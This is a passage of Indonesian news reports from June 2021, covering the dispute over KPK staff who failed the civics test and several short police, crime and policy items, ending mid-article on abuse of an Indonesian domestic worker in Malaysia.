penyelenggaraan asesmen TWK dalam proses alih status pegawai KPK menjadi ASN. Selanjutnya, ada juga Kontrak Swakelola tentang Penyelenggaraan Asesmen TWK dalam Rangka Pengalihan Pegawai KPK menjadi ASN tertanggal 27 Januari 2021. Artinya, kontrak tersebut dibuat lebih dahulu dari penandatanganan MoU. Diduga tanggal kontrak tersebut sengaja dibuat mundur (back date) karena kontrak baru dibuat setelah TWK pada tanggal 26 April 2021. Menanggapi hal itu, Ghufron mengatakan bahwa pihaknya semula mengasumsikan pendanaan untuk alih status pegawai KPK menjadi ASN berasal dari KPK. Akan tetapi, karena pelaksanaanya adalah BKN, perlu payung hukum untuk mendanai kegiatan tersebut. BKN lantas bekerja sama dengan KPK. Namun, perkembangannya setelah MoU ditandatangani, ternyata BKN menyampaikan ke KPK bahwa asesmen ini bagian dari tugas dan fungsi BKN sebagai lembaga negara yang bertugas melakukan manajemen ASN mulai rekrutmen, peningkatan karier, sampai reward and punishment. Karena menjadi bagian kerja BKN, lanjut Ghufron, BKN mengatakan bahwa biaya asesmen pegawai KPK tidak perlu ditanggung oleh KPK. "Kemudian langsung jadi MoU yang dinyatakan back date. Itu memang ditandatangani tetapi tidak pernah dilaksanakan karena pendanaannya di-cover oleh BKN sendiri," katanya menjelaskan. Ditegaskan pula bahwa MoU itu tidak pernah dipakai walaupun pihaknya sebagai komitmen kelembagaan di kepegawaian KPK mempersiapkannya. Atas laporan dan klarifikasi tersebut, Anggota Ombudsman RI Robert Na Endi Jaweng mengatakan pihaknya akan melihat masalah itu dari tiga tingkatan. Pertama, soal dasar hukum terutama mengenai proses penyusunan peraturan KPK No 1 tahun 2001; kedua mengenai sosialisasi aturan apakah sudah diterangkan kepada para pihak yang terkait dan sejauh mana keterlibatan lembaga-lembaga lain terlibat dalam proses alih status; ketiga konsekuensi dari "memenuhi syarat" dan "tidak memenuhi syarat" TWK terhadap para pegawai. 3. Komnas HAM Pada 24 Mei 2021, perwakilan 75 pegawai KPK mengadu ke Komisi Nasional Hak Asasi Manusia. Dalam aduannya, mereka melampirkan laporan yang berisikan 8 hal yang dinilai sebagai bentuk dugaan pelanggaran HAM dalam TWK. "Saya menyampaikan kepada Komnas HAM mengenai peran Kepala BKN yang tampak sekali, menurut kami, punya peran cukup banyak bersama-sama Ketua KPK. Ini perlu jadi fokus tersendiri," kata penyidik KPK, Novel Baswedan. Baswedan mengatakan, dia bersama pegawai KPK lain yang tidak lulus TWK kesulitan mendapatkan hasil tes beserta penjelasannya sehingga ia meminta penyelenggara membuka hasil tes karena ketidaklulusan tersebut berdampak pada adanya stigma/label terhadap pribadi mereka. Sementara Kepala Satuan Tugas Penyelidik KPK, Harun Al Rasyid, mengatakan, dia bersama puluhan pegawai KPK yang tidak lulus TWK berkepentingan mengetahui hasil dan penjelasan TWK. "Kenapa kami minta hasil assesment (TWK), karena kalau kami dianggap orang berpenyakit, misal kami punya penyakit jantung kami ingin penyakit itu bisa sembuh," kata dia. Komnas HAM pun sudah memanggil pimpinan KPK untuk melakukan klarifikasi terhadap laporan itu pada 8 Juni 2021, namun tidak ada pimpinan KPK yang hadir. Pimpinan KPK beralasan ada rapat pimpinan sehingga tidak bisa hadir. Pemanggilan kedua untuk pimpinan KPK dijadwalkan pada 15 Juni 2021. Menurut Anggota Komnas HAM Mohammad Choirul Anam, pihaknya telah menyiapkan sekitar 30 pertanyaan untuk pimpinan KPK. Plt Juru Bicara KPK, Ali Fikri, mengatakan, pimpinan KPK telah mengirimkan surat ke Komnas HAM untuk memastikan terlebih dulu seperti apa pemeriksaan dugaan pelanggaran HAM oleh pimpinan KPK tersebut. Menurut dia, pelaksanaan TWK telah sesuai dengan UU Nomor 19/2019, PP Nomor 41/2020, dan Peraturan Komisi Nomor 1/2021. 4. Mahkamah Konstitusi Selanjutnya sembilan orang pegawai KPK juga mengajukan uji materiil terkait pelaksanaan TWK ke MK pada 2 Juni 2021. Kesembilan orang pemohon adalah Hotman Tambunan, Rasamala Aritonang, Andre Dedy Nainggolan, Novariza, Faisal, Benydictus Siumlala Martin, Harun Al Rasyid, Lakso Anindito dan Tri Artining Putri. "Kami menguji pasal 69 B ayat 1 dan pasal 69 C terhadap pasal 1, pasal 28 D ayat 1, 2, 3 UUD 1945. Kami berpikir bahwa penggunaan TWK untuk pengalihstatusan pegawai KPK itu bertentangan dengan pasal 1, pasal 28 D ayat 1, 2, 3 UUD 1945," kata Tambunan. Pasal 69 B ayat (1) dan pasal 69 C mengatur soal penyelidik atau penyidik KPK dan pegawai KPK yang belum berstatus sebagai ASN dalam jangka waktu paling lama 2 tahun sejak UU berlaku dapat diangkat sebagai ASN sesuai peraturan perundang-undangan. "Isunya ini adalah mengukur bagaimana mengukur kesetiaan kepada Pancasila, UUD 1945, NKRI dan Bhineka Tunggal Ika. Kami melihat bahwa BKN seperti memonopoli pengertian itu dengan menggunakan alat ukur TKW, apakah memang alat ukur itu valid? kita buka saja di sidang-sidang MK," kata Tambunan. Apalagi menurut dia, dalam UU Nomor 7/2017 tentang Pemilihan Umum dan UU Nomor 1/2015 tentang Penetapan Perpu Nomor 1/2014 Tentang Pemilihan Gubernur, Bupati dan Wali Kota mengatakan syarat untuk menjadi gubernur, bupati, wali kota, anggota DPR, DPRD tingkat 1, DPRD tingkat II, presiden dan wakil presiden hanya mensyaratkan surat pernyataan kesetiaan terhadap Pancasila, UUD 1945, NKRI dan Bhineka Tunggal Ika sebagai alat kesetiaan. "Nah menurut BKN alat ukurnya (TKW) sudah sangat valid, sudah saatnya para pejabat strategis tadi menggunakan alat ukur itu. Apa yang dimaksud dengan wawasan kebangsaan itu pandai berpidato tapi melanggar kode etik atau orang-orang yang berjuang untuk memberantas korupsi? Orang yang memenuhi aturan? Orang-orang yang bayar pajak? Itu tadi coba kita lihat di sidang-sidang MK," kata dia. Kesembilan orang pemohon itu juga sudah memberikan 31 bukti setebal lebih dari 2.000 halaman. Ia berharap putusan MK terhadap permohonan mereka dapat dibuat sebelum November 2021 agar dapat langsung diterapkan terhadap nasib 75 pegawai KPK yang dinyatakan TMS. "Kami memohon dan berharap Mahkamah Konstitusi dapat memutuskan permohonan ini sebelum November 2021, mengingat pasal yang kami mohonkan adalah pasal peralihan yang hanya berlaku sekali," kata Tambunan. 5. PGI dan MUI Pada 28 Mei 2021, Persekutuan Gereja-Gereja di Indonesia (PGI) menerima sembilan orang perwakilan pegawai KPK bersama tim hukumnya. "Kami akan mengirimkan surat kepada Presiden Joko Widodo untuk meminta menghentikan upaya pelemahan KPK ini, terutama peminggiran 75 pegawai KPK," kata Ketua Umum PGI, Gomar Gultom. Menurut Gultom, dengan disingkirkannya para pegawai yang selama ini memiliki kinerja baik serta memiliki integritas kuat dengan alasan tidak lulus TWK akan menjadikan para penyidik berpikir ulang untuk melaksanakan tugasnya dengan profesional seturut dengan kode etik KPK pada masa depan. "Karena mereka khawatir akan 'di-TWK-kan dengan label radikal dan kami makin khawatir karena mereka yang dipinggirkan ini banyak yang sedang menangani kasus-kasus korupsi yang sangat signifikan," kata dia. Aritonang yang ikut dalam pertemuan mengatakakan bahwa pelemahan KPK ini juga merupakan ulah para koruptor. "Kami berhadapan dengan koruptor dan yang bisa korupsi hanyalah mereka yang punya akses kepada kekuasaan. KPK ini hanyalah alat, pisau untuk memotong bagian badan yang koruptif dan reaksi dari para koruptor ini adalah membuang pisau ini, itu yang sedang kami alami," kata dia. Sekretaris Umum PGI, Jacky Manuputty, pun mengungkapkan kegelisahannya melihat fabrikasi hoaks di media sosial yang mudah mengubah persepsi masyarakat terhadap keadaan dan lembaga tertentu. Selanjutnya pada 3 Juni 2021, sebanyak 12 pegawai KPK bertemu dengan pengurus Majelis Ulama Indonesia. "Kehadiran mereka ke MUI dalam rangka mengadukan proses seleksi TWK," ujar Ketua MUI Bidang Dakwah dan Ukhuwah, Cholil Nafis. Ia mengatakan 12 pegawai KPK itu bercerita soal keganjilan baik dari materi TWK maupun proses pengangkatan ASN. Untuk menjadi ASN di KPK masih harus menjalani TWK, sementara di lembaga lain seperti Komnas HAM tidak perlu. Setelah audiensi itu, MUI akan membawa masalah ini ke dalam rapat pimpinan harian MUI, sehingga nantinya akan muncul tanggapan resmi dari MUI. Waketum MUI, Anwar Abbas, sebelumnya juga mempertanyakan tes wawasan kebangsaan dari pewawancara dalam tes alih status pegawai KPK. Anwar menilai ada yang salah dalam pemahaman keagamaan dan kebangsaan pewawancara sehingga ia meminta hasil tes dibatalkan karena pertanyaan-pertanyaan yang diajukan tidak sesuai dengan nilai-nilai dalam Pancasila dan UUD 1945. Hasil akhir aduan dan laporan 75 pegawai KPK tersebut memang belum terlihat namun setidaknya para pegawai tersebut tetap bergerak dan bertindak melihat ketidakberesan yang ada di depan mata. Mungkin pergerakan tersebut seiring dengan lagu Mars KPK yang diputarkan berulang-ulang saat pelantikan 1.271 orang pegawai KPK menjadi ASN pada 1 Juni 2021 lalu. (sws)

Polairud Bengkayang Tingkatkan Patroli Cegah Kriminalitas di Perairan

Pontianak, FNN - Satuan Polairud, Polres Bengkayang, Polda Kalimantan Barat, terus meningkatkan patroli perairan di wilayah kerjanya dalam rangka untuk mencegah gangguan keamanan dan kriminal di perairan. "Setiap hari anggota kami melakukan patroli di kawasan perairan yang menjadi wilayah hukum Satpolairud Polres Bengkayang," ujar Kasat Polairud Polres Bengkayang Polda Kalbar Ipda Ratnam saat dihubungi di Bengkayang, Sabtu. Ia menambahkan juga bahwa peningkatan patroli ini sebagai bentuk penguatan Pemeliharaan Keamanan Ketertiban Masyarakat (Harkamtibmas) yang optimal guna mencegah terjadi gangguan kamtibmas di kawasan perairan. Selain itu, menurut dia peningkatan patroli juga dilakukan personel untuk menyambangi masyarakat dan nelayan yang sedang berada di Perairan maupun yang berada di pulau. Dalam kesempatan itu polisi berseragam biru menyampaikan edukasi terkait virus Corona atau COVID-19 tentang pelaksanaan protokol kesehatan. Langkah itu untuk memutus mata rantai penularan virus Corona di Kabupaten Bengkayang, Isi dari protokol kesehatan itu di antaranya tetap memakai masker saat berada di luar rumah, tetap menjaga jarak fisik dengan orang lain, mencuci tangan, menjauhi kerumunan, dan mengurangi mobilitas, "Sampai saat ini selama dilakukan peningkatan patroli di perairan Bengkayang situasi dalam keadaan aman dan kondusif," kata Ratnam. (sws)

Polrestabes Bandung Siap Tindak Tegas Premanisme

Bandung, FNN - Satuan Reserse Kriminal (Satreskrim) Polrestabes Bandung siap menindak tegas aksi premanisme yang kerap mengganggu keamanan dan ketertiban masyarakat. Kepala Satreskrim Polrestabes Bandung AKBP Adanan Mangopang mengatakan telah memerintahkan kepada para anggotanya melaksanakan instruksi tersebut sesuai arahan Kapolri Jenderal Listyo Sigit Prabowo. "Untuk tindakan premanisme, tanpa instruksi pak Kapolri sekalipun juga, ya bapak Kapolrestabes, dan pak Kapolda juga selalu mengingatkan kepada jajarannya untuk menindak tegas," kata Adanan di Bandung, Jawa Barat, Sabtu. Menurutnya tindakan premanisme kerap meresahkan masyarakat bila terus dibiarkan. Sejauh ini Satreskrim Polrestabes Bandung pun memang terus mencegah dan menindak adanya tindakan premanisme. Di Kota Bandung sendiri sebelumnya terjadi aksi premanisme di kawasan Gedebage yang melibatkan dua orang preman dan teknisi yang sedang melakukan perbaikan fasilitas publik. Saat itu pihaknya melalui Unit Reskrim Polsek Gedebage langsung melakukan pencarian kepada pelaku-pelaku yang wajahnya telah tersebar di media sosial. Menurut Adanan, hal itu menjadi contoh bahwa negara telah hadir untuk menindak aksi premanisme. Kedua preman tersebut akhirnya diringkus oleh polisi karena diduga melakukan pemerasan dan pengancaman. "Khususnya yang viral di Gedebage, itu berhasil kita ungkap, dan kita lakukan tindakan tegas, negara tidak boleh kalah dengan premanisme," kata Adanan. Sebelumnya Kepala Divisi Hubungan Masyarakat Kepolisian Republik Indonesia (Polri) Irjen Pol Argo Yuwono memastikan polisi akan menindak preman-preman di seluruh daerah Indonesia dengan melakukan operasi premanisme. Menurut Argo tindakan itu dilakukan setelah Polri meringkus 49 preman yang biasa memalak sopir-sopir truk kontainer di Pelabuhan Tanjung Priok, Jakarta. "Selain di Jakarta, operasi premanisme juga akan dilakukan di seluruh daerah di Indonesia. Suratnya ke Kapolda-Kapolda segera dikirim," kata Argo di Mapolda Jawa Timur, Surabaya, Jawa Timur, Jumat (11/6). (sws)

Satgas Gagalkan Upaya Penyelundupan Puluhan Liter BBM ke Timor Leste

Kupang, FNN - Satuan Tugas Pengamanan Perbatasan (Satgas Pamtas) RI-Timor Leste menggagalkan upaya penyelundupan puluhan liter bahan bakar minyak (BBM) dari Kabupaten Timor Tengah Utara, Nusa Tenggara Timur ke Timor Leste. "BMM ini diduga sengaja diselundupkan orang tidak dikenal melalui jalur ilegal di wilayah perbatasan Timor Tengah Utara dengan Timor Leste," kata Wakil Komandan Pos Napan Bawah Satgas Pamtas RI-Timor Leste Sektor Barat Sertu Handhika Wahyu ketika dikonfirmasi di Kupang, Sabtu. BBM yang hendak diselundupkan tersebut sekitar 85 liter di antaranya jenis bensin sebanyak 30 liter dan solar 55 liter yang diisi dalam wadah jerigen dengan ukuran bervariasi. Handhika menjelaskan keberadaan BBM tersebut diketahui ketika empat personel satgas pamtas dari Pos Napan Bawah menggelar patroli malam untuk memeriksa jalur ilegal di sekitar perbatasan di Desa Napan. Para personel kemudian mendapati hal yang mencurigakan berupa suara orang yang berbicara serta langkah kaki di titik patroli yang tidak jauh dari Pos Napan Bawah. Ketika diperiksa, personel patroli melihat dua orang yang langsung berlari meninggalkan barang bawaan berupa BBM yang diisi dalam beberapa jerigen. Handhika mengatakan upaya pengejaran sempat dilakukan orang tersebut tidak bisa ditemukan dikarenakan kondisi gelap pada malam hari dan medan yang agak berbahaya sehingga dihentikan. "Dua orang ini tidak dikenal dan mereka lari meninggalkan beberapa jerigen berisi BBM bensin dan solar yang diduga hendak dibawa ke Timor Leste," katanya. Personel patroli kemudian mengamankan barang bukti di Pos Napan Bawah dan telah melaporkan peristiwa ini secara berjenjang hingga pimpinan di atas. (sws)

Densus 88 Lakukan Pendekatan Humanis sebagai Upaya Deradikalisasi

Jakarta, 12/6 (ANTARA) - Direktur Identifikasi dan Sosialisasi Densus 88 Anti-teror Polri Kombes Pol MD Shodiq mengatakan Densus 88 melakukan pendekatan yang humanis kepada pelaku maupun orang-orang yang terpapar terorisme sebagai upaya deradikalisasi. Kombes Pol MD Shodiq pada diskusi Peran Yayasan Debintal dalam reintegrasi mantan narapidana terorisme di Indonesia, di Jakarta, Sabtu, mengatakan sampai saat ini belum ditemukan model yang tepat upaya deradikalisasi teroris. "Sampai hari ini pun belum ada saya baca baik jurnal maupun di buku-buku dari para pakar ahli bagaimana orang yang sudah radikal tinggi dengan berbagai teori dan metodologi supaya kembali kepada pemikiran yang moderat, ini saya belum temukan," kata dia. Oleh karena itu, menurut dia Densus 88 melakukan pendekatan humanis sebagai sebagai upaya deradikalisasi terhadap pelaku, mantan bahkan orang yang terpapar terorisme. "Sehingga kami melakukan pendekatan ini yang soft yang humanis terhadap orang yang terpapar radikal, dengan harapan membangun kepercayaan, ini yang penting," kata dia. Dia membagikan pengalamannya yang sudah terlibat menghadapi terorisme sejak 21 tahun lalu. Berbagai upaya dilakukan agar orang-orang yang sudah radikal tinggi bisa kembali menjadi moderat. "Era 2000 sampai dengan 2008-2009 kita lakukan pendekatan dengan pendekatan tokoh-tokoh jihadis di jazirah Arab, tokoh-tokoh Al-Qaeda yang sudah kembali pada pemahaman modern kita hadirkan," kata dia. Namun, menurut dia beberapa metode deradikalisasi yang dilakukan itu baik yang dilakukan oleh Densus 88 maupun bersama institusi yang resmi, yakni BNPT belum menghasilkan hal yang sangat signifikan. "Artinya hanya trial and error, hanya mencoba-coba jadinya mana konsep yang bagus untuk menurunkan tingkat radikalisme ini. Nah ketika dibentuk nomenklatur baru di Densus, kami membuat satu konsep bagaimana melakukan pendekatan baik di dalam rutan, di lapas maupun di luar lapas," ucpanya. Dia mengatakan, jika berbicara deradikalisasi sesuai peraturan perundang-undangan, deradikalisasi itu dilakukan terhadap orang yang statusnya sudah menjadi tersangka, sementara pemahaman dari kalangan luar menilai deradikalisasi adalah proses secara komprehensif. Artinya kata dia belum dilakukan penegakan hukum pun, mereka yang terpapar radikal juga harus diberikan pendekatan-pendekatan deradikalisasi. "Sehingga kami melakukan pendekatan ini yang soft yang humanis terhadap orang yang terpapar radikal. Dasar utama pendekatan dengan trust, kebutuhan primer, kemudian pendekatan membangun komunitas, terjadi suatu pertemuan yang rutin sehingga hubungan emosional akan terjalin," ucapnya. Hal itu lanjut dia pelan-pelan akan menarik kembali orang-orang yang sudah terpapar, agar kembali membuka mindset mereka, membuka ruang bahwa dunia itu tidak seperti yang mereka pahami selama ini. Dengan pemahaman itu pula, lanjut dia, para napiter yang berada di rutan, lapas hingga sampai kembali ke masyarakat nantinya perlu mendapatkan wadah pendampingan. Wadah tersebut menurut dia direalisasikan dalam bentuk Yayasan Debintal "Harapan kita ini nanti akan jadi satu role model yayasan yang mengimplementasikan kegiatan pemahaman yang moderat. Dan kalau bisa nantinya di sana juga dibuat area tangguh ideologi," ujarnya. (sws)

Inspektorat Landak Diminta Persempit Peluang Korupsi pada SKPD

Pontianak, FNN - Bupati Landak, Provinsi Kalimantan Barat, Karolin Margret Natasa, mengingatkan inspektorat yang ada di kabupaten itu untuk mempersempit peluang korupsi di jajaran Satuan Kerja Perangkat Daerah (SKPD) dengan rutin melakukan pembinaan dan pengawasan. "Seperti yang kita ketahui, peran aparat pengawasan intern pemerintah daerah (Inspektorat) sangat penting dalam mengawal visi misi kepala daerah. Tidak untuk kegiatan pemda yang tidak bermanfaat, apalagi sampai untuk dikorupsi, karena pengawalan ini pun berarti semakin mempersempit ruang gerak untuk timbulnya tindak pidana korupsi," kata Karolin di Ngabang, Sabtu. Karolin menegaskan, pengawasan dan pembinaan dari Inspektorat kepada SKPD jelas sangat penting karena anggaran pemerintah akan fokus tertuju untuk mencapai visi misi, seperti meningkatkan kesejahteraan dan kesehatan masyarakat, menekan tingkat kemiskinan dan pengangguran, dan sebagainya. "Pembahasan ini juga yang menjadi perhatian dalam agenda Rakorwasin yang memfokuskan pada kebijakan pembinaan dan pengawasan, prioritas program pembangunan daerah, peningkatan tata kelola pemda melalui manajemen risiko dan upaya pencegahan dan penindakan tindak pidana korupsi dalam rapat yang dilaksanakan di Kantor Gubernur kemarin," tuturnya. Untuk itu, Karolin meminta Inspektorat dapat lebih baik lagi menjalankan tugas dan peran sebagai pengawas internal pemerintah daerah, dan memastikan program pemerintah bermanfaat untuk masyarakat. Mantan anggota DPR ini juga menambahkan, selain itu, kolaborasi pengawasan antara BPKP Perwakilan dan APIP Pemda, harus benar benar dapat memastikan terwujudnya tujuan dan sasaran pembangunan di daerah. "Hal ini juga mampu mendorong diterapkannya mitigasi risiko-risiko seperti ketidakselarasan pembangunan nasional dengan daerah, ketimpangan sektoral di berbagai daerah, alokasi belanja yang tidak efektif dan efisien, dan sebagainya," kata Karolin. (sws)

Satpol PP Bandung Larang Gerai McD Buat Promosi Sebabkan Kerumunan

Bandung, FNN - Satuan Polisi Pamong Praja (Satpol PP) Kota Bandung melarang seluruh gerai McDonald's (McD) yang ada di Ibu Kota Jawa Barat itu membuat promosi produk yang menyebabkan kerumunan pemesan atau konsumen. Kasie Penyidikan dan Penindakan Satpol PP Kota Bandung Mujahid Syuhada mengatakan produk yang dilarang itu bukan dikhususkan untuk BTS Meals, namun juga kepada produk lainnya yang berpotensi menyebabkan kerumunan di masa pandemi COVID-19. "Kalau BTS Meals dilarang kan belum tentu, bisa jadi promosi yang lain menimbulkan kerumunan," kata Mujahid di Bandung, Jawa Barat, Sabtu. Menurutnya kini para gerai McD yang ada di Kota Bandung pun telah sepakat untuk tidak menjual kembali BTS Meals yang akhir-akhir ini ramai dipesan. Adapun produk makanan cepat saji BTS Meals itu merupakan kerjasama antara McD dengan grup boy band asal Korea Selatan yakni BTS. Sejauh ini menurutnya tiga gerai McD di Kota Bandung disegel sementara karena menimbulkan kerumunan yang sempat tak terkendali. Tiga gerai McD itu yakni di Buahbatu, Cibiru, dan Kopo. Selain menimbulkan kerumunan, menurut Mujahid tiga gerai tersebut memiliki stok produk BTS Meals yang cukup banyak. "Yang tiga itu Cibiru, Buahbatu, sama Kopo Mas. Karena memang stok paketnya terbanyak di tiga titik itu, jadi itu yang kita segel, sisanya hanya dibubarkan," kata dia. (sws)

BNN Sultra Ungkap Napi Pengendali Narkoba di Dalam Lapas Kendari

Kendari, FNN - Badan Narkotika Nasional (BNN) Sulawesi Tenggara (Sultra) mengungkap seorang pria yang saat ini berstatus narapidana inisial R di Lapas Kelas IIA Kendari diduga menjadi pengendali peredaran gelap narkoba di Kota Kendari. Kepala BNN Sultra Brigjen Pol Sabaruddin Ginting di Kendari, Sabtu, mengatakan awalnya pihaknya melakukan penangkapan seorang pria diduga pengedar narkotika jenis sabu inisial A (37) pada Jumat (11/6) di daerah Kecamatan Wuawua, Kendari. "Dan dari hasil penyelidikan, kita kerja sama dengan pihak Lapas Kendari dan kita juga memperoleh satu tersangka lainnya inisial R (diduga) sebagai pengendali di Lapas Kendari," ungkap Sabaruddin. Ia menyampaikan, setelah pihaknya mendapat keterangan tersangka A bahwa ia dikendalikan oleh seorang narapidana, pihaknya segera melakukan koordinasi ke Lapas Kelas IIA Kendari. Dari koordinasi, ternyata napi yang disebutkan oleh tersangka A pada Jumat (11/6) pagi, yaitu napi R telah diamankan sebuah telepon genggam saat razia rutin dari anggota lapas. "Hari ini Kepala Lapas beserta beberapa jajarannya beliau menyerahkan kepada kita untuk langkah-langkah penyelidikan dan penyidikan terkait pengungkapan perkara yang kita kerja samakan," ujar Ginting. Kepala Lapas Kelas IIA Kendari Abdul Samad Dama mengatakan bahwa sebelum mendapat informasi dari BNN pada Jumat (11/6) siang, anggotanya telah melakukan razia pada pagi hari dan menemukan telepon genggam dari napi R yang juga merupakan narapidana kasus narkoba. "Jadi kemarin pagi itu kewajiban kami sebagai pengamanan, anggota saya melakukan razia di dalam dan kebetulan si R ini didapat hp-nya, terus kami simpan, Sekitar pukul 12.00 WITA, ada informasi dari BNNP bahwa ada penangkapan di luar dan mencoba konfirmasi ke kami dan ternyata Alhamdulillah pagi itu juga kami habis sita hp-nya (napi R). Jadi kami langsung koordinasikan," kata Samad. Samad mengklaim, pihaknya telah melakukan pengawasan di dalam Lapas dengan seketat mungkin, bahkan telah memasang alat metal detektor, namun ia menyangkal karena masih ada narapidana yang lolos menggunakan telepon genggang di dalam lapas itu. Ia menegaskan, bakal menyelidiki sumber dari mana narapidana tersebut bisa mendapatkan telepon genggam. Bahkan ia mengancam jika ada anggotanya terlibat maka tidak akan segan-segan diproses sesuai peraturan yang berlaku. "Hari ini Sabtu (12/6) kami menyerahkan satu orang narapidana untuk dilakukan proses penyidikan (oleh BNN), terbukti bersalah atau tidak nanti proses yang akan membuktikan," tutur Abdul Samad Dama. (sws)

Polri Ringkus Pemalak Sopir Kontainer Marunda Center

Kabupaten Bekasi, FNN - Kepolisian Resor Metropolitan Bekasi meringkus enam preman yang kerap memalak para sopir truk kontainer di Kawasan Industri Marunda Center, Jalan Marunda Makmur, Kecamatan Tarumajaya, Kabupaten Bekasi, Jawa Barat. "Semalam petugas kami berhasil mengamankan enam orang di lokasi itu," kata Kapolres Metro Bekasi Komisaris Besar Pol Hendra Gunawan saat ungkap kasus di Mapolres Metro Bekasi, Sabtu. Enam preman yang diamankan petugas di antaranya UF, AAS, JP, RK, SB, dan FN. Mereka merupakan warga Kampung Turi Jaya yang lokasinya berdekatan dengan akses menuju kawasan industri Marunda Center. Dari tangan keenam tersangka, polisi juga berhasil mengamankan barang bukti uang hasil pemalakan sebesar Rp39.500 berikut dua kardus air mineral yang digunakan para tersangka saat menjalankan aksinya. Hendra mengaku pengungkapan kasus pungutan liar ini menindaklanjuti instruksi Presiden Joko Widodo kepada Kapolri terkait keluhan sopir truk yang mengaku kerap dipalak preman. Kasat Reskrim Polres Metro Bekasi Ajun Komisaris Besar Andi Odang mengatakan penangkapan ini berawal dari informasi masyarakat yang diterima petugas terkait praktik pungutan liar. "Unit Jatanras yang mendapat informasi langsung bergegas ke lokasi dan mengamankan enam oknum yang sedang memungut uang dari pengemudi truk yang memasuki kawasan industri itu," tutur-nya. Modus operandi yang dijalankan pelaku adalah dengan menjual air mineral secara paksa kepada supir truk yang melintas seharga Rp7.000. Pengemudi yang menolak beli diwajibkan membayar uang senilai Rp3.000 dengan dalih jatah preman. Berdasarkan keterangan tersangka, kata Odang, mereka membagi tugas menjadi beberapa shif kerja dengan jam operasi tiga jam secara bergantian. "Hasil pemeriksaan sementara, dugaan kuat kami ada pengendali atau aktor utama yang menggerakkan para pelaku tersebut. Sedang didalami, petugas di lapangan juga masih menelusuri dan mencari kawanan preman lainnya yang terlibat," ucap-nya. Odang mengimbau masyarakat yang mengetahui adanya praktik pungutan liar segera melaporkannya ke petugas guna membantu memutus rantai pungutan ilegal itu khususnya di wilayah hukumnya. "Pungutan liar ini sangat meresahkan pengemudi juga masyarakat," ucap dia menegaskan. (sws)

Eva Sundari: Pembahasan RUU KUHP Tidak Perlu Semua Pasal

Semarang, FNN - Direktur Institut Sarinah Eva Kusuma Sundari sependapat dengan pernyataan sejumlah anggota Komisi III DPR RI yang menyatakan pembahasan Rancangan Undang-Undang Kitab Undang-Undang Hukum Pidana (RUU KUHP) tidak semua pasal, cukup yang top list issues. "Setuju, adu argumen ke top list issues (masalah daftar teratas) atau sejumlah pasal di antara 628 pasal yang menjadi perhatian hingga muncul pro dan kontra di tengah masyarakat," kata Eva Kusuma Sundari, M.A., M.D.E. yang pernah menjadi anggota Komisi III (Bidang Hukum, Hak Asasi Manusia, dan Keamanan) menjawab pertanyaan ANTARA, di Semarang, Jumat malam. Sebelumnya, anggota Komisi III DPR RI Arsul Sani menyarankan agar tidak perlu membahas ulang semua pasal dalam RUU KUHP, tetapi cukup beberapa pasal saja yang kontroversial dan menjadi perdebatan di publik. "Harus disepakati antara Komisi III DPR dan Pemerintah, hemat saya tidak perlu (semua pasal dibahas), kecuali 14 hingga 16 pasal yang ramai dan mendapatkan sorotan di tengah masyarakat," kata Arsul, di Jakarta, Kamis (10/6). Arsul Sani memandang tidak perlu semua pasal dalam RUU KUHP. Jika dibahas satu per satu, khawatir tidak akan selesai dibahas di DPR. Eva K. Sundari sependapat pasal-pasal dalam RUU KUHP yang telah disepakati Komisi III DPR RI periode 2014—2019 tidak perlu dibahas kembali. Hal itu termasuk Pasal 79 RUU KUHP yang menyebutkan penetapan denda paling banyak berdasarkan kategori 1 sampai 8, yakni Kategori I, Rp1.000.000,00; Kategori II, Rp10.000.000,00; Kategori III, Rp50.000.000,00; dan Kategori IV, Rp200.000.000,00. Selanjutnya, Kategori V, Rp500.000.000,00; Kategori VI, Rp2.000.000.000,00; Kategori VII, Rp5.000.000.000,00; dan Kategori VIII, Rp50.000.000.000,00. Eva yang pada periode 2014—2019 sebagai anggota Komisi XI (Bidang Keuangan dan Perbankan) dari Fraksi PDIP DPR RI menyebutkan Pasal 79 Ayat (2) RUU KUHP menyatakan apabila terjadi perubahan nilai uang, ketentuan besarnya pidana denda ditetapkan dengan peraturan pemerintah. "Jika di tengah proses ada pasal yang kontroversial, disusulkan dibahas, asal menginginkan pembahasan transparan dan terbuka," kata Eva K. Sundari. Ia menyebutkan hal itu termasuk merespons usulan masyarakat, misalnya soal kebebasan beragama dan berkeyakinan yang masih dikhawatirkan para aktivis HAM. Di sisi lain, kata Eva K. Sundari, kelompok perempuan juga menginginkan pasal terkait dengan susila yang masih male bias (bias laki-laki). (sws)

PRT Indonesia Disiksa Majikan di Malaysia

Kuala Lumpur, FNN - Seorang wanita pelaksana rumah tangga (PLRT) warga negara Indonesia (WNI) berusia 51 tahun asal Lampung mengalami penyiksaan oleh majikannya di tengah-tengah Malaysia menjalani "locdown" atau Perintah Kawalan Pergerakan (PKP) 3.0. "KBRI Kuala Lumpur berkoordinasi dengan Unit kawasan Brickfields Polis Di Raja Malaysia (PDRM) telah menyelamatkan seorang PLRT WNI yang mengalami penyiksaan oleh majikannya," ujar Koordinator Fungsi Pensosbud KBRI Kuala Lumpur, Yoshi Iskandar di Kuala Lumpur, Sabtu. Yoshi menjelaskan setelah menerima laporan dari pihak keluarga korban KBRI Kuala Lumpur bertindak cepat untuk memastikan kebenaran laporan berkoordinasi dengan PDRM kawasan Brickfields, Kuala Lumpur. "Dalam waktu kurang dari satu hari setelah laporan diterima, tanggal 10 Juni 2021 PDRM menangkap pelaku dan melakukan penyelamatan. Korban diduga mengalami penyiksaan oleh majikan warga negara Malaysia terlihat dari bekas luka lebam di wajahnya," katanya. Pihak PDRM membawa korban untuk dilakukan pemeriksaan kesehatan dan pengobatan. "Untuk selanjutnya terduga pelaku dan suaminya diproses penyidikan dengan pengenaan pasal pidana," katanya. Dari indikasi awal, ujar dia, korban diduga mengalami penyiksaan berupa beberapa kali pemukulan. "Yang terakhir terjadi pada satu Minggu sebelumnya di beberapa bagian tubuhnya dengan menggunakan benda tumpul," katanya. Korban mengalami luka pada wajah di bawah mata dan pipi serta tulang pipi serta sekitar rahang yang diduga akibat pemukulan pelaku. "Selama bekerja dua tahun korban hanya memperoleh tiga kali pembayaran gaji yang dikirimkan kepada keluarganya di Indonesia. Korban selama ini juga sulit dapat dihubungi keluarga dengan akses penggunaan telepon yang sangat terbatas hanya satu kali dalam sebulan," katanya. KBRI Kuala Lumpur akan terus memantau dan melakukan pendampingan atas kasus ini untuk memastikan berjalannya proses hukum yang berlaku dan dipenuhinya hak yang bersangkutan. Dalam beberapa bulan terakhir sebelumnya telah terdapat empat kasus penyiksaan terhadap PLRT Indonesia yang masih terus terjadi. Dua 